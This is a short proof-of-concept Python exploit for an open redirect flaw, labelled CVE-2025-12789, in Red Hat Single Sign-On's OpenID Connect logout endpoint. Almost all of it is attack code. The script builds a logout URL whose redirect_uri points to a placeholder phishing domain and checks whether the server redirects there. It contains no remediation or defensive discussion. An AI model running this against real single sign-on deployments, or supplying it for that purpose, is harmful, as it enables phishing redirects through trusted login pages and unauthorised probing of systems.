CVE-2025-12789 Red Hat Single Sign-On 开放重定向漏洞

# CVE-2025-12789 PoC - Open Redirect in Red Hat Single Sign-On # Target: Red Hat Single Sign-On OpenID Connect Logout Endpoint # Attack Type: Open Redirect import requests from urllib.parse import quote def exploit_open_redirect(target_url, redirect_target): """ Exploit the open redirect vulnerability in RHSSO logout endpoint Args: target_url: Base URL of the vulnerable RHSSO instance redirect_target: Malicious URL to redirect victims to """ # Encode the target URL for the redirect_uri parameter encoded_redirect = quote(redirect_target, safe='') # Construct the malicious logout URL logout_endpoint = f"{target_url}/auth/realms/master/protocol/openid-connect/logout" malicious_url = f"{logout_endpoint}?redirect_uri={encoded_redirect}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") print(f"[*] Redirect Target: {redirect_target}") # Send request to trigger the redirect try: response = requests.get(malicious_url, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Vulnerable! Server responds with redirect to: {location}") return True else: print(f"[-] Response status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-rhsso.example.com" attacker_domain = "https://evil-phishing-site.com" exploit_open_redirect(target, attacker_domain)